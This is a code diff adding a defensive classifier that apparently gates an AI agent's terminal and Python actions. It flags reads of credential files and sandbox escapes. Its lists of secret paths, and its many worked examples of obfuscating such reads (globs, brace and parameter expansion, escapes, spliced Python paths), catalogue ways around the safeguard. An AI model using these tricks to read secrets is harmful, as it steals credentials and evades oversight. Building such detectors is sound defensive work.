+ "/home/u/.git-credentials",
+)
+# Directories whose every file is a credential/secret; a glob resolving into one
+# (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) reads a secret even though
+# the exact filename is never enumerated, so a globbed token here asks.
+_SENSITIVE_GLOB_DIRS = (
+ "/run/secrets",
+ "/var/run/secrets",
+ "/root/.ssh",
+ "/root/.aws",
+ "/root/.azure",
+ "/root/.gnupg",
+ "/root/.docker",
+ "/root/.kube",
+ "/root/.config/gcloud",
+ "/root/.config/gh",
+ "/home/u/.ssh",
+ "/home/u/.aws",
+ "/home/u/.azure",
+ "/home/u/.gnupg",
+ "/home/u/.docker",
+ "/home/u/.kube",
+ "/home/u/.config/gcloud",
+ "/home/u/.config/gh",
+)
+# Credential basenames a glob can reach even when the directory is not wholly
+# sensitive (cat ~/.huggingface/tok?n -> token, cat ~/.netr? -> .netrc); the
+# canonical-target list only covers a few fixed home paths, so match the globbed
+# basename against these directly.
+_SENSITIVE_GLOB_BASENAMES = frozenset(
+ {
+ "token",
+ "stored_tokens",
+ "credentials",
+ ".netrc",
+ "netrc",
+ ".pypirc",
+ ".npmrc",
+ ".git-credentials",
+ "id_rsa",
+ "id_ed25519",
+ "id_ecdsa",
+ "id_dsa",
+ "passwd",
+ "shadow",
+ # A project .env holds secrets; the literal path is gated elsewhere, so a
+ # glob that expands to it (cat .e?v) must be too.
+ ".env",
+ }
+)
+# A leading shell redirection (<, >, 2>, >>) hides the path from a plain glob
+# scan (cat </e??/passwd); strip it before matching.
+_REDIR_PREFIX_RE = re.compile(r"^\d*[<>]+")
+# Bash brace expansion (cat /etc/pass{w,}d -> /etc/passwd /etc/passd, and the
+# sequence form cat /etc/pass{w..w}d -> /etc/passwd) runs after this classifier;
+# expand comma groups and .. sequences to scan each result.
+_BRACE_COMMA_RE = re.compile(r"^\{([^{}]*,[^{}]*)\}$")
+_BRACE_SEQ_RE = re.compile(r"^\{([^{}]+)\.\.([^{}]+)(?:\.\.(-?\d+))?\}$")
+_BRACE_ANY_RE = re.compile(r"\{[^{}]*,[^{}]*\}|\{[^{}]+\.\.[^{}]+(?:\.\.-?\d+)?\}")
+# Parameter expansion with a default/alternate operator (${x:-passwd},
+# ${x:+passwd}, ${x=passwd}) can synthesize a path after approval; the operand
+# is substituted so the resulting path is scanned.
+_SHELL_PARAM_OP_RE = re.compile(r"\$\{[A-Za-z_]\w*:?[-=+]([^{}]*)\}")
+
+
+def _references_sensitive_path(text: str) -> bool:
+ """True if a command or string literal reads a credential path or escapes
+ the sandbox workdir via parent traversal."""
+ norm = _REDUNDANT_SLASH_RE.sub("", text)
+ debracket = _GLOB_BRACKET_RE.sub(lambda m: m.group(1)[0], text)
+ return bool(
+ _PARENT_TRAVERSAL_RE.search(text)
+ or _SENSITIVE_PATH_RE.search(text)
+ or _SENSITIVE_PATH_RE.search(norm)
+ or _SENSITIVE_PATH_RE.search(debracket)
+ )
+
+
+def _pattern_matches_dir(pattern: str, target: str) -> bool:
+ """Segment-wise fnmatch so a glob segment does not cross a '/' boundary
+ (`/home/*` must not match `/home/u/.ssh`)."""
+ p = pattern.split("/")
+ t = target.split("/")
+ if len(p) != len(t):
+ return False
+ return all(fnmatch.fnmatch(tseg, pseg) for pseg, tseg in zip(p, t))
+
+
+def _glob_token_sensitive(token: str) -> bool:
+ """True if a single ? / * / [..] glob token could expand to a sensitive file
+ or a file under a secret/credential directory. Shared by the terminal scan
+ and the Python glob check (glob.glob('/e??/passwd'))."""
+ token = _REDIR_PREFIX_RE.sub("", _SHELL_QUOTE_RE.sub("", token))
+ # A POSIX class ([[:lower:]]) matches one char, like `?`, but fnmatch treats
+ # it as a literal set; normalize so cat /etc/pass[[:lower:]]d resolves.
+ token = _POSIX_CLASS_RE.sub("?", token)
+ if not any(c in token for c in "?*["):
+ return False
+ if any(fnmatch.fnmatch(target, token) for target in _SENSITIVE_GLOB_TARGETS):
+ return True
+ # A glob that resolves to a credential basename is sensitive wherever it
+ # lives (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc); the
+ # fixed-target list only covers a handful of home paths.
+ base = token.rsplit("/", 1)[-1]
+ if any(c in base for c in "?*[") and any(
+ fnmatch.fnmatch(name, base) for name in _SENSITIVE_GLOB_BASENAMES
+ ):
+ return True
+ # A globbed directory that resolves into a secret/credential dir makes every
+ # file below it sensitive (cat /r?n/secrets/hf_token).
+ head = token.rsplit("/", 1)[0] if "/" in token else token
+ return any(
+ _pattern_matches_dir(token, d) or _pattern_matches_dir(head, d)
+ for d in _SENSITIVE_GLOB_DIRS
+ )
+
+
+def _glob_hits_sensitive(command: str) -> bool:
+ """True if any glob token in a command could expand to a sensitive file, so
+ `cat /e??/passwd` and `cat /r?n/secrets/hf_token` ask even without a literal
+ sensitive path."""
+ return any(
+ _glob_token_sensitive(token)
+ for token in command.replace(";", " ").replace("|", " ").split()
+ )
+
+
+def _expand_shell_assignments(command: str) -> str:
+ """Best-effort substitution of `NAME=value ... $NAME`, so a sensitive path
+ split across an assignment and an argument (p=/etc; cat $p/passwd) is still
+ visible to the sensitive-path scan. Also applies pattern replacement
+ (p=passXd; cat /etc/${p/X/w}). Fail-open: only adds detections."""
+ env = dict(_SHELL_ASSIGN_RE.findall(command))
+ if not env:
+ return command
+
+ def repl_pattern(m):
+ var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4)
+ if var not in env or not pat:
+ return m.group(0)
+ return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1)
+
+ def repl_case(m):
+ var, op = m.group(1), m.group(2)
+ if var not in env:
+ return m.group(0)
+ v = env[var]
+ if op == ",,":
+ return v.lower()
+ if op == "^^":
+ return v.upper()
+ if op == ",":
+ return v[:1].lower() + v[1:]
+ return v[:1].upper() + v[1:]
+
+ def repl_indirect(m):
+ # ${!p} -> value of the variable named by $p (env[env[p]]).
+ pointed = env.get(m.group(1))
+ return env.get(pointed, m.group(0)) if pointed is not None else m.group(0)
+
+ command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command)
+ command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command)
+ command = _SHELL_PARAM_CASE_RE.sub(repl_case, command)
+ return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command)
+
+
+def _expand_param_defaults(command: str) -> str:
+ """Substitute the operand of a default/alternate parameter expansion
+ (cat /etc/pass${x:-wd} -> cat /etc/passwd), which bash applies after this
+ classifier. Fail-open: only adds detections."""
+ return _SHELL_PARAM_OP_RE.sub(lambda m: m.group(1), command)
+
+
+def _decode_ansi_c(command: str) -> str:
+ """Decode bash ANSI-C quoted words (cat $'/etc/pass\\x77d' -> cat /etc/passwd)
+ so an escape-obfuscated path is visible to the scan. Fail-open: only adds
+ detections."""
+
+ def dec(m):
+ try:
+ return bytes(m.group(1), "utf-8").decode("unicode_escape")
+ except (UnicodeDecodeError, ValueError):
+ return m.group(0)
+
+ return _ANSI_C_RE.sub(dec, command)
+
+
+def _brace_range(lo: str, hi: str, step: "str | None") -> "list[str]":
+ """Expand a bash sequence brace endpoint pair ({1..3}, {a..c}, {w..w})."""
+ try:
+ istep = abs(int(step)) if step else 1
+ istep = istep or 1
+ if re.fullmatch(r"-?\d+", lo) and re.fullmatch(r"-?\d+", hi):
+ a, b = int(lo), int(hi)
+ rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+ return [str(x) for x in rng][:64]
+ if len(lo) == 1 and len(hi) == 1 and lo.isalpha() and hi.isalpha():
+ a, b = ord(lo), ord(hi)
+ rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+ return [chr(x) for x in rng][:64]
+ except (ValueError, TypeError):
+ pass
+ return []
+
+
+def _brace_options(text: str) -> "list[str]":
+ """Options a single brace group expands to (comma list or .. sequence)."""
+ m = _BRACE_COMMA_RE.match(text)
+ if m:
+ return m.group(1).split(",")
+ m = _BRACE_SEQ_RE.match(text)
+ if m:
+ return _brace_range(m.group(1), m.group(2), m.group(3)) or [text]
+ return [text]
+
+
+def _expand_braces(command: str) -> str:
+ """Best-effort bash brace expansion (cat /etc/pass{w,}d -> cat /etc/passwd
+ /etc/passd, cat /etc/pass{w..w}d -> cat /etc/passwd) so a sensitive path
+ split across a brace group is scanned. Bounded. Fail-open: only detects."""
+ results = [command]
+ for _ in range(6):
+ if not any(_BRACE_ANY_RE.search(s) for s in results):
+ break
+ expanded = []
+ for s in results:
+ m = _BRACE_ANY_RE.search(s)
+ if not m:
+ expanded.append(s)
+ continue
+ for opt in _brace_options(m.group(0)):
+ expanded.append(s[: m.start()] + opt + s[m.end() :])
+ results = expanded[:64]
+ return " ".join(results)
+
+
+def _mode_arg_writes(mode_node) -> bool:
+ """True if an AST node used as a file mode requests write/append."""
+ if mode_node is None:
+ return False # default "r"
+ if isinstance(mode_node, ast.Constant) and isinstance(mode_node.value, str):
+ return bool(_PY_WRITE_MODE_RE.search(mode_node.value))
+ return True # dynamic mode: cannot prove read-only
+
+
+def _has_kwarg_splat(node) -> bool:
+ """True if the call has a ``**kwargs`` splat, which can hide a write mode."""
+ return any(kw.arg is None for kw in node.keywords or [])
+
+
+def _builtin_open_writes(node) -> bool:
+ """Write check for builtin ``open(file, mode)`` (mode is the 2nd arg)."""
+ if _has_kwarg_splat(node):
+ return True # **{"mode": "w"} could request a write
+ if any(isinstance(a, ast.Starred) for a in node.args):
+ return True # *("f", "w") could splat a write mode into the positionals
+ mode = node.args[1] if len(node.args) >= 2 else None
+ for kw in node.keywords or []:
+ if kw.arg == "mode":
+ mode = kw.value
+ return _mode_arg_writes(mode)
+
+
+def _attr_open_writes(node) -> bool:
+ """Write check for ``x.open(...)`` (e.g. ``Path.open(mode)`` where mode is
+ the 1st arg). Only a mode-looking string is read as the mode, so a
+ ``ZipFile.open("name.txt")`` read is not mistaken for a write."""
+ if _has_kwarg_splat(node):
+ return True # **{"mode": "w"} could request a write
+ for kw in node.keywords or []:
+ if kw.arg == "mode":
+ return _mode_arg_writes(kw.value)
+ if node.args:
+ first = node.args[0]
+ if isinstance(first, ast.Constant) and isinstance(first.value, str):
+ if _PY_MODE_LITERAL_RE.match(first.value):
+ return bool(_PY_WRITE_MODE_RE.search(first.value))
+ # A 2nd positional arg is either a mode (x.open(name, "w")) or
+ # os.open(path, O_CREAT) flags via an alias: honor a string mode,
+ # otherwise cannot prove read-only, so ask.
+ if len(node.args) >= 2:
+ second = node.args[1]
+ if isinstance(second, ast.Constant) and isinstance(second.value, str):
+ return _mode_arg_writes(second)
+ return True
+ return False
+ return True # dynamic first arg: cannot prove read-only
+ return False # no args: read
+
+
+_PATH_CTORS = (
+ "Path",
+ "PurePath",
+ "PurePosixPath",
+ "PureWindowsPath",
+ "PosixPath",
+ "WindowsPath",
+)
+# Deterministic path pass-through/normalizer calls that return the same location
+# (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding
+# through them keeps a sensitive root visible to the scan.
+_PATH_PASSTHROUGH_ATTRS = frozenset(
+ {"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"}
+)
+# pathlib methods that rewrite only the final path component, so the sensitive
+# target is never spelled out as a literal (Path('/etc/x').with_name('passwd')
+# -> /etc/passwd). Folded below so the rewritten path is still scanned.
+_PATH_NAME_REWRITES = frozenset({"with_name", "with_stem", "with_suffix"})
+# Mapping-style %-format conversion specifier: %(name)s / %(n)5.2f. Used to fold
+# '/etc/%(f)s' % {'f': 'passwd'} to /etc/passwd (a dynamic value becomes NUL).
+_PERCENT_NAMED_RE = re.compile(r"%\((\w+)\)[-#0 +]*\d*(?:\.\d+)?[a-zA-Z]")
+
+
+def _folded_path(
+ node,
+ literals = None,
+ ctors = None,
+ join_names = None,
+) -> "str | None":
+ """Best-effort value of a path built from string literals, so a sensitive
+ path assembled from pieces (os.path.join('/etc', 'passwd'), '/etc'+'/passwd',
+ Path('/etc') / 'passwd', f'/proc/{pid}/environ', f'/etc/{name}') is still
+ visible to the scan. A dynamic piece becomes NUL, a non-slash placeholder,
+ so a dynamic segment under a sensitive dir (/etc/NUL) is still detectable.
+ ``literals`` maps names bound to string literals (base = '/etc'); ``ctors``
+ is the set of pathlib constructor names (incl. import aliases); ``join_names``
+ are bare names bound to os.path.join (from os.path import join)."""
+ literals = literals or {}
+ ctors = ctors or _PATH_CTORS
+ join_names = join_names or frozenset()
+
+ def fold(node) -> "str | None":
+ if isinstance(node, ast.Constant) and isinstance(node.value, (str, bytes)):
+ # bytes paths are valid too (open(b'/etc/passwd')); decode for scan.
+ return (
+ node.value.decode("latin-1", "ignore")
+ if isinstance(node.value, bytes)
+ else node.value
+ )
+ if isinstance(node, ast.Name):
+ return literals.get(node.id)
+ if isinstance(node, ast.Attribute) and node.attr in ("parent", "parents"):
+ # A pathlib .parent/.parents walks above the current dir, escaping
+ # the per-session workdir without a literal '..'; mark it so a read
+ # folds to unsafe (\x02 is a non-slash escape sentinel).
+ return "\x02"
+ if (
+ isinstance(node, ast.Subscript)
+ and isinstance(node.value, ast.Attribute)
+ and (node.value.attr == "parents")
+ ):
+ return "\x02" # Path(...).parents[1]
+ if isinstance(node, ast.JoinedStr):
+ return "".join(
+ v.value
+ if isinstance(v, ast.Constant) and isinstance(v.value, str)
+ else (fold(v.value) or "\x00")
+ if isinstance(v, ast.FormattedValue)
+ else "\x00"
+ for v in node.values
+ )
+ if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Div)):
+ left = fold(node.left)
+ right = fold(node.right)
+ left = "\x00" if left is None else left
+ right = "\x00" if right is None else right
+ # Path('/etc') / 'passwd' joins with a separator; '+' concatenates.
+ return left + "/" + right if isinstance(node.op, ast.Div) else left + right
+ if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mod):
+ # Old-style formatting: '%s/%s' % ('/etc', 'passwd') -> /etc/passwd.
+ template = fold(node.left)
+ if template is not None and "%" in template:
+ rhs = node.right
+ if "%(" in template:
+ # Mapping-style: '/etc/%(f)s' % {'f': 'passwd'} -> /etc/passwd.
+ # A literal dict resolves each name; an unresolved value or a
+ # non-literal mapping leaves the NUL marker so /etc/<dynamic>
+ # still fails closed under a sensitive dir.
+ mapping: "dict[str, str]" = {}
+ if isinstance(rhs, ast.Dict):
+ for k, v in zip(rhs.keys, rhs.values):
+ if isinstance(k, ast.Constant) and isinstance(k.value, str):
+ fv = fold(v)
+ mapping[k.value] = fv if fv is not None else "\x00"
+ return _PERCENT_NAMED_RE.sub(
+ lambda m: mapping.get(m.group(1), "\x00"), template
+ )
+ if isinstance(rhs, ast.Tuple):
+ args = tuple((fold(e) or "\x00") for e in rhs.elts)
+ else:
+ single = fold(rhs)
+ args = (single if single is not None else "\x00",)
+ try:
+ return template % args
+ except (TypeError, ValueError, KeyError):
+ return None
+ return None
+ if isinstance(node, ast.Call):
+ func = node.func
+ if isinstance(func, ast.Attribute) and func.attr == "joinpath":
+ # Path('/etc').joinpath('passwd') -> receiver and args are pieces.
+ base = fold(func.value)
+ parts = [base if base is not None else "\x00"]
+ parts += [(fold(a) or "\x00") for a in node.args]
+ return "/".join(parts)
+ if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"):
+ # Path('/etc').glob('passw?') -> the receiver dir joined with the
+ # glob pattern; _glob_token_sensitive then tests /etc/passw?.
+ base = fold(func.value)
+ pattern = fold(node.args[0]) if node.args else "\x00"
+ return (base if base is not None else "\x00") + "/" + (pattern or "\x00")
+ if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES:
+ # Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem /
+ # with_suffix rewrite only the final component. Fold to the
+ # rewritten path so a sensitive target that no literal spells out
+ # is still caught. An unresolved receiver stays None (untracked,
+ # like a bare variable), and a dynamic arg becomes the NUL marker.
+ base = fold(func.value)
+ if base is None:
+ return None
+ arg = fold(node.args[0]) if node.args else None
+ arg = "\x00" if arg is None else arg
+ idx = base.rfind("/")
+ head = base[: idx + 1] if idx >= 0 else ""
+ name = base[idx + 1 :] if idx >= 0 else base
+ dot = name.rfind(".")
+ stem = name[:dot] if dot > 0 else name
+ suffix = name[dot:] if dot > 0 else ""
+ if func.attr == "with_name":
+ name = arg
+ elif func.attr == "with_stem":
+ name = arg + suffix
+ else: # with_suffix
+ name = stem + arg
+ return head + name
+ if isinstance(func, ast.Attribute) and func.attr in _PATH_PASSTHROUGH_ATTRS:
+ # Deterministic normalizers keep the same path: os.path.abspath(
+ # '/etc') -> /etc, Path('/etc').resolve() -> /etc. When called with
+ # a path arg fold it, else fold the receiver (Path method form).
+ return fold(node.args[0]) if node.args else fold(func.value)
+ if isinstance(func, ast.Attribute) and func.attr == "join":
+ # str.join has the separator as the receiver and the pieces in
+ # one iterable arg ("".join(['/etc', '/passwd']) -> /etc/passwd);
+ # tell it apart from os.path.join(*pieces).
+ sep = fold(func.value)
+ if (
+ sep is not None
+ and len(node.args) == 1
+ and isinstance(node.args[0], (ast.List, ast.Tuple))
+ ):
+ pieces = [(fold(e) or "\x00") for e in node.args[0].elts]
+ return sep.join(pieces)
+ parts = [(fold(a) or "\x00") for a in node.args]
+ return "/".join(parts)
+ # A bare os.path.join alias (from os.path import join): join(*pieces).
+ if isinstance(func, ast.Name) and func.id in join_names:
+ parts = [(fold(a) or "\x00") for a in node.args]
+ return "/".join(parts)
+ # A bare/qualified/aliased pathlib constructor (Path(...), P(...)).
+ if (isinstance(func, ast.Attribute) and func.attr in ctors) or (
+ isinstance(func, ast.Name) and func.id in ctors
+ ):
+ parts = [(fold(a) or "\x00") for a in node.args]
+ return "/".join(parts)
+ # '/etc/{}'.format('passwd') -> /etc/passwd (literal template + args).
+ if isinstance(func, ast.Attribute) and func.attr == "format":
+ template = fold(func.value)
+ if template is not None and "{" in template:
+ parts = []
+ for a in node.args:
+ if isinstance(a, ast.Constant):
+ parts.append(str(a.value))
+ else:
+ folded = fold(a)
+ parts.append("\x00" if folded is None else folded)
+ try:
+ return template.format(*parts)
+ except (IndexError, KeyError, ValueError):
+ return None
+ return None
+
+ return fold(node)
+
+
+def _dynamic_name_hits_sensitive(folded) -> bool:
+ """True if a folded path with a dynamic piece (NUL) inside a path segment
+ could spell a credential target, e.g. open('/et' + chr(99) + '/passwd')
+ folds to '/et\\x00/passwd'. NUL matches any run of non-separator chars so the
+ dynamic split of a sensitive name resolves, while an all-dynamic ('\\x00\\x00')
+ or segment-spanning ('\\x00/\\x00') path cannot form a single credential name
+ and stays safe."""
+ if not folded or "\x00" not in folded:
+ return False
+ pattern = "".join(r"[^/\\]*" if ch == "\x00" else re.escape(ch) for ch in folded)
+ try:
+ rx = re.compile(pattern + r"\Z")
+ except re.error:
+ return True # pathological pattern: fail closed
+ return any(rx.match(t) for t in _SENSITIVE_GLOB_TARGETS)
+
+
+def _folded_is_sensitive(folded) -> bool:
+ """A folded path is sensitive if it names a credential file, has a dynamic
+ segment (NUL) directly under a sensitive directory (/etc/NUL), walks out of
+ the sandbox via a pathlib .parent/.parents escape (\\x02), or is a glob that
+ could resolve to a credential path (glob.glob('/e??/passwd'))."""
+ if not folded:
+ return False
+ return (
+ "\x02" in folded
+ or _references_sensitive_path(folded)
+ or ("\x00" in folded and bool(_SENSITIVE_DIR_RE.search(folded)))
+ # A dynamic segment (NUL) can be the "/" forming a sensitive root:
+ # open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with
+ # NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe).
+ or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")))
+ # A dynamic piece can also sit INSIDE a sensitive name: open('/et' +
+ # chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above
+ # catch. Match the literals around each NUL against a credential target,
+ # treating NUL as "any run of non-separator chars" so /et<dyn>/passwd
+ # resolves while an all-dynamic ("\x00\x00" from 1 + 1) or segment-spanning
+ # ("\x00/\x00" from a + '/' + b) path stays safe.
+ or _dynamic_name_hits_sensitive(folded)
+ or _glob_token_sensitive(folded)
+ )
+
+
+def _terminal_is_potentially_unsafe(command: str) -> bool:
+ """Classify a terminal command for auto mode (fail closed)."""
+ if not command or not command.strip():
+ return False
+ # Redirections and substitutions can hide writes or nested commands; a
+ # quoted ">" false-positives into a prompt, which is the safe direction.
+ if ">" in command or "`" in command or "$(" in command or "<(" in command:
+ return True
+ # Reads that escape the sandbox workdir (../) or hit credential paths are
+ # not "safe" reads; ask before running them. Strip shell quotes/backslash
+ # escapes and expand NAME=value prefixes first so `cat /proc/$PPID/enviro''n`,
+ # `cat /et\c/passwd`, and `p="/proc/$PPID"; cat $p/environ` are caught too.
+ stripped = _SHELL_QUOTE_RE.sub("", command).replace("\\", "")
+ # Bash applies brace/parameter/ANSI-C expansion after this classifier, so a
+ # path split across a brace group (/etc/pass{w,}d), a default/substring param
+ # (${x:-wd}, ${p:0:6}), or an escape ($'...') is invisible to the raw scan;
+ # expand first (ANSI-C decoded from the raw command, before backslash strip).
+ candidates = []
+ for c in (command, stripped, _decode_ansi_c(command)):
+ c_param = _expand_param_defaults(c)
+ candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)))
+ # Run both the literal and glob-sensitive scans over every candidate, so a
+ # brace-expanded glob (cat /e{t,}c/pass?d -> /etc/pass?d) is caught.
+ if any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates):
+ return True
+ # Newlines (and CR) separate commands in a shell but read as plain
+ # whitespace to shlex, which would demote "ls\nrm x" to argument position.
+ command = command.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
+ try:
+ lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()")
+ lexer.whitespace_split = True
+ tokens = list(lexer)
+ except ValueError:
+ return True
+ # A root can also hide behind an assignment (p=/; grep -R TOKEN $p) or a
+ # default parameter (grep -R TOKEN ${root:-/home}); re-lex the fully expanded
+ # command so the find/fd and recursive-search scans see the resolved token.
+ expanded_command = _expand_shell_assignments(_expand_param_defaults(command))
+ if expanded_command != command:
+ try:
+ elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()")
+ elexer.whitespace_split = True
+ scan_tokens = list(elexer)
+ except ValueError:
+ return True
+ else:
+ scan_tokens = tokens
+ # find/fd group with (...) which resets command context, so a trailing
+ # -delete/-exec could slip past; scan every token when find/fd appears.
+ if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens):
+ if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens):
+ return True
+ # A recursive reader rooted outside the sandbox reads host files (grep -R
+ # TOKEN /home, rg TOKEN /, grep -R TOKEN ~root, p=/; grep -R TOKEN $p, and
+ # the always-recursive walkers tree /home / du /); ask. Bash expands
+ # ~/~user to a home dir after this decision, so a tilde root is a sandbox
+ # escape too. A path-qualified command token starts with "/" as well, but
+ # that already asks below.
+ if any(t.startswith("/") or t.startswith("~") for t in scan_tokens):
+ token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens]
+ if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases):
+ return True
+ # ls only walks the whole subtree with -R/--recursive (ls -R /home,
+ # ls -laR /); a non-recursive ls /home lists one level and stays here.
+ if "ls" in token_bases and any(
+ t.split("=", 1)[0] in ("-R", "--recursive")
+ or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
+ for t in tokens
+ ):
+ return True
+ expect_command = True
+ prefix_pending = False
+ current_command = ""
+ positional_args = 0
+ pending_flag_value = False
+ for token in tokens:
+ # Runs of punctuation (";;", ";&") lex as one token; any token made
+ # purely of separator characters still separates commands.
+ if (
+ token in _SHELL_SEPARATORS
+ or token in _SHELL_KEYWORDS_AS_SEP
+ or not set(token) - set(";&|()")
+ ):
+ expect_command = True
+ prefix_pending = False
+ current_command = ""
+ positional_args = 0
+ pending_flag_value = False
+ continue
+ if token.startswith("-"):
+ # A write/exec flag on an otherwise read-only command asks
+ # (sort -o, tree -o, xxd -r, find -exec/-delete/...). Match
+ # "--output=x", an attached short option "-o/tmp/out", and a short
+ # option bundled in a cluster (sort -uo out => -u -o).
+ flag_head = token.split("=", 1)[0]
+ cluster = token[1:] if token[:2] != "--" and "=" not in token else ""
+ # GNU tools accept unambiguous abbreviations of a long option, so
+ # `sort --out=` reaches --output and `env --ch=/` reaches --chdir;
+ # a "--x" prefix of an unsafe long flag fails closed.
+ is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2
+ for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()):
+ if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)):
+ return True
+ if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head):
+ return True
+ # A flag that takes a following value (date -d STRING / -r FILE;
+ # uniq -f N; xxd -c N) so the value token is not mistaken for a
+ # clock-setting positional or an output-file positional.
+ pending_flag_value = "=" not in token and (
+ (current_command == "date" and flag_head in _DATE_DISPLAY_VALUE_FLAGS)
+ or flag_head in _SECOND_POSITIONAL_VALUE_FLAGS.get(current_command, ())
+ )
+ if not prefix_pending:
+ expect_command = False
+ continue
+ if not expect_command:
+ raw_pos = token.strip(";&|()`{}")
+ # uniq [INPUT [OUTPUT]] writes its second file positional; count file
+ # positionals and ask on the second one. A preceding option's value
+ # (uniq -f 2) is consumed via pending_flag_value, so a file literally
+ # named with digits (uniq 123 out) is still counted.
+ if current_command in _AUTO_SECOND_POSITIONAL_WRITES:
+ if pending_flag_value:
+ pending_flag_value = False
+ elif raw_pos:
+ positional_args += 1
+ if positional_args >= 2:
+ return True
+ # hostname NAME sets the hostname; date <timestamp> sets the clock. A
+ # positional past a display flag's value therefore mutates state and
+ # asks (date's +FORMAT display token stays read-only).
+ elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS:
+ if pending_flag_value:
+ pending_flag_value = False
+ elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")):
+ return True
+ continue
+ if _ASSIGNMENT_RE.match(token):
+ # Benign NAME=value prefixes are skipped, but ones that change
+ # command lookup/loading (PATH, LD_PRELOAD, ...) fail closed.
+ if _env_assignment_is_unsafe(token.split("=", 1)[0]):
+ return True
+ continue
+ if prefix_pending and token.lstrip("-").isdigit():
+ continue
+ raw = token.strip(";&|()`{}")
+ # A path-qualified command (./ls, /tmp/cat) is an arbitrary executable,
+ # not the trusted system utility its basename matches; ask first.
+ if "/" in raw or "\\" in raw:
+ return True
+ base = os.path.basename(raw).lower()
+ stem, ext = os.path.splitext(base)
+ if ext in {".exe", ".com", ".bat", ".cmd"}:
+ base = stem
+ if base in _AUTO_SAFE_WRAPPERS:
+ prefix_pending = True
+ # Track the wrapper so its own flags (env --chdir) are checked;
+ # the real command overwrites this when it is reached.
+ current_command = base
+ pending_flag_value = False
+ continue
+ if base not in _AUTO_SAFE_TERMINAL_COMMANDS:
+ return True
+ current_command = base
+ expect_command = False
+ prefix_pending = False
+ positional_args = 0
+ pending_flag_value = False
+ return False
+
+
+def _python_is_potentially_unsafe(code: str) -> bool:
+ """Classify python-tool code for auto mode (fail closed)."""
+ if not code or not code.strip():
+ return False
+ # Anything the sandbox's static analysis already objects to would be
+ # refused at execution time; surface it as a confirmation first.
+ if _check_code_safety(code) is not None:
+ return True
+ try:
+ tree = ast.parse(code)
+ except SyntaxError:
+ return False # runs into a normal traceback; nothing to guard
+ # Names bound to the builtin open (f = open; from builtins import open as f;
+ # f, _ = (open, print)) so an aliased writer call is still checked below.
+ # builtins_aliases tracks `import builtins [as b]` for builtins.exec/eval.
+ open_aliases = {"open"}
+ # Attribute names bound to open (box.f = open), so a later box.f('out', 'w')
+ # write is still gated even though the callable is an attribute, not a name.
+ attr_open_aliases: "set[str]" = set()
+ builtins_aliases = {"builtins", "__builtins__"}
+ # Names bound to a dynamic lookup (rm = getattr(os, "remove");
+ # f = globals()["open"]) whose calls cannot be proven read-only, so they
+ # fail closed.
+ dynamic_aliases = set()
+ # Names bound to a dynamic-code builtin, including aliased ones
+ # (from builtins import eval as e; e = builtins.exec), so a call or
+ # reference through the alias fails closed too. compile() builds a code
+ # object that FunctionType/exec can then run.
+ code_exec_aliases = {"exec", "eval", "__import__", "breakpoint", "compile"}
+ # Names bound to a string literal (base = '/etc'), so a sensitive path
+ # split through a variable (base + '/passwd') folds and is caught.
+ literal_str_vars: "dict[str, str]" = {}
+ # Pathlib constructor names incl. import aliases (from pathlib import Path as
+ # P), os.path.join names bound directly (from os.path import join as j), and
+ # writer functions imported as bare names (from numpy import save).
+ path_ctor_aliases = set(_PATH_CTORS)
+ pathjoin_aliases: "set[str]" = set()
+ writer_aliases: "set[str]" = set()
+ # Module names bound to os/posix (import os as o), so o.open(...) is still
+ # recognized as the low-level create/write that os.open is.
+ os_aliases = {"os", "posix"}
+ # Module names bound to a pickle-backed loader (import torch as t), so
+ # t.load(...) is still gated as a code-executing deserialize.
+ load_module_aliases = set(_AUTO_UNSAFE_PY_LOAD_MODULES)
+ # Names bound to the builtin getattr (g = getattr), so a dynamic lookup
+ # aliased through it (rm = g(os, "remove"); rm("f")) still fails closed.
+ getattr_aliases = {"getattr"}
+ # Names bound to functools.partial, so a partial that wraps open/a writer
+ # (w = partial(open, mode="w"); w("out.txt")) fails closed when w is called.
+ partial_aliases: "set[str]" = set()
+ # Archive constructors imported bare (from zipfile import ZipFile), so
+ # ZipFile(name, "w") is gated like the zipfile.ZipFile attribute call.
+ archive_ctor_aliases: "set[str]" = set()
+ # operator.methodcaller("write_text") is dynamic dispatch, like getattr.
+ operator_aliases = {"operator"}
+ methodcaller_aliases: "set[str]" = set()
